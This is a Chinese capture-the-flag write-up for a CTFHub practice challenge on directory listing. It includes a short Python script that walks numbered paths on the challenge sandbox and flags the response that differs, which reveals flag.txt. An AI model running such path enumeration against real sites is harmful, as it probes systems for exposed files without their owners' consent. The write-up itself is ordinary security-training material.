CTFHub技能树信息泄露——目录遍历

这个也是相对比较简单的,主要是路径的问题。点击开启题目,打开给出的链接。

 可以用最简单的办法,就是一个一个的试。把Index  of/flag_in_here/1或2或3或4/1或2或3或4都试一遍,看到flag.txt打开就是flag。(也可以写个脚本,for循环遍历)

当然,如果不想一个一个的点,毕竟很没有技术含量,也可以使用脚本:

import requests
url = "http://challenge-bd23b5e84fd7b1bd.sandbox.ctfhub.com:10800/flag_in_here/"
url_m = "http://challenge-bd23b5e84fd7b1bd.sandbox.ctfhub.com:10800/flag_in_here/1/1/"
r1 = requests.get(url_m)
length1 = len(r1.text)
for i in range(1, 5):
    for j in range(1, 5):
        url_new = url+f'{i}/{j}/'
        r2 = requests.get(url_new)
        length2 = len(r2.text)
        if length1 != length2:
            print(url_new)

运行后,在控制台输出链接,打开就是有flag.txt的链接。

猜你喜欢

转载自blog.csdn.net/qq_53768302/article/details/129829253